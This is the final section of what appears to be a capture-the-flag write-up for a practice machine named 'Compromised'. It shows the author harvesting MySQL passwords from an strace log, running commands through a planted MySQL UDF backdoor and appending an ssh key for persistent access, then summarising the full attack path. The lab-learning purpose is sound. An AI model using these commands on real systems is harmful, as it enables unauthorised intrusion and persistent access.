Last login: Thu Sep 17 08:14:07 2020 from 10.10.14.40
root@compromised:~# id && hostname && wc -c root.txt
uid=0(root) gid=0(root) groups=0(root)
compromised
33 root.txt
root@compromised:~#

Ladies and gentlemen, we have root!


After Root

I Skipped Many Steps

Post-exploitation, I want to know what on earth I was actually meant to be doing to attain a pty.

Surprise; /var/lib/mysql/.ssh exists!

root@compromised
root@compromised:/var/lib/mysql/.ssh# ls -al
total 8
drwxrwxr-x 2 mysql mysql 4096 Sep  3 11:52 .
drwx------ 9 mysql mysql 4096 Sep 17 04:27 ..
-rw-rw-r-- 1 mysql mysql    0 Sep  3 11:52 authorized_keys
root@compromised:/var/lib/mysql/.ssh#

There's nothing in there though. Never mind.

Looking at the shadow file, the mysql user had a password! I tried to crack it - but had no luck after running it against rockyou.txt.

Path from mysql to user

I believe that it is time to look at the /var/lib/mysql directory, and figure out what all of the files are.

A few of them appear to be logs of some sort. We all know what logs are full of... Passwords!

Well, at least usernames.

root@compromised
root@compromised:/var/lib/mysql# grep -i username *
grep: ecom: Is a directory
Binary file ib_logfile0 matches
Binary file ib_logfile1 matches
Binary file ibdata1 matches
grep: mysql: Is a directory
grep: performance_schema: Is a directory
strace-log.dat:22229 03:11:40 write(1, "| id | status | username | passw"..., 320) = 320
grep: sys: Is a directory

Nothing. Alright, perhaps passwords then:

root@compromised
root@compromised:/var/lib/mysql# grep -i password *
grep: ecom: Is a directory
--[[snip]]--
strace-log.dat:22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
strace-log.dat:22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
strace-log.dat:22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
strace-log.dat:22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
strace-log.dat:22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
strace-log.dat:22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
strace-log.dat:22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
strace-log.dat:22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
strace-log.dat:22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
strace-log.dat:22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
strace-log.dat:22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
strace-log.dat:22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
grep: sys: Is a directory

We have an interesting password line! It is replicated below.

/var/lib/mysql/strace-log.dat
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0

This password is able to log in remotely as sysadmin!

attacking host
> sshpass -p '3*NLJE32I$Fe' ssh sysadmin@10.10.10.207
Last login: Thu Sep 17 10:11:09 2020 from 10.10.14.40
sysadmin@compromised:~$

So, the intended path must go through the mysql user.

Path from www-data to mysql

It's time to double down on figuring out what a mysql backdoor would look like.

This article shows a method of adding a "function" that executes a command as the mysql user.

Notably, the article tests for it by running this query: SELECT * FROM mysql.func;

Let's try it...

root@compromised
root@compromised:~# mysql --user=root --password=changethis -e "SELECT * FROM mysql.func;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------+-----+-------------+----------+
| name     | ret | dl          | type     |
+----------+-----+-------------+----------+
| exec_cmd |   0 | libmysql.so | function |
+----------+-----+-------------+----------+

That doesn't look like a default configuration item!

root@compromised
root@compromised:~# mysql --user=root --password=changethis -e "SELECT exec_cmd('id');"
--[[snip]]--
uid=111(mysql) gid=113(mysql) groups=113(mysql)
--[[snip]]--

There we go! That's how we were meant to get from www-data to mysql.

I can add my ssh public key to the mysql user home directory with this method.

root@compromised
root@compromised:~# mysql --user=root --password=changethis -e "SELECT exec_cmd('bash -c \"mkdir ~/.ssh; echo ssh-rsa AAAAB3NzaC1yc2EAAAAD...Kq1VmyHs= >> ~/.ssh/authorized_keys\"')"

Disconnect as root, and reconnect as mysql...

attacking host
> ssh mysql@10.10.10.207
Last login: Thu Sep  3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$

And we are in as the mysql user!

Intended path

So, to summarise, this was the intended path:

  1. Enumerate webserver, find /backup/ directory, download tarball.
  2. Find .tmp file which logged authentication attemps, get credentialss.
  3. Find a CVE in litecart, test with credentialss.
  4. Find that webshells don't work, explore filesystem using php code execution to read files.
  5. Find that php's disable_functions is the cause, potentially gain limited shell exec.
  6. Find a bypass for disable_functions.
  7. Enumerate filesystem, find that mysql user can be logged into.
  8. Enumerate mysql, find that there is a backdoor function.
  9. Use backdoor function for full shell as mysql user.
  10. Enumerate mysql logfiles, find password.
  11. Log in as sysadmin with that password, and collect user.txt.
  12. Enumerate filesystem further, find suspicious .pam_unix.so duplicate.
  13. Download and reverse engineer pam_unix.so, determine the backdoor master password.
  14. su to root using the backdoor password from either the mysql or sysadmin user, and collect root.txt.

I skipped steps 8-11 after failing on step 8.

This was possible as I found an alternative way to use the su command with the empty-expect package, which could be activated from the limited shell environment, without a valid pty.

Thanks to the box creator for teaching me about numerous linux backdoors! Now I know a little more about what to look for in a Compromised system. I really enjoyed this one!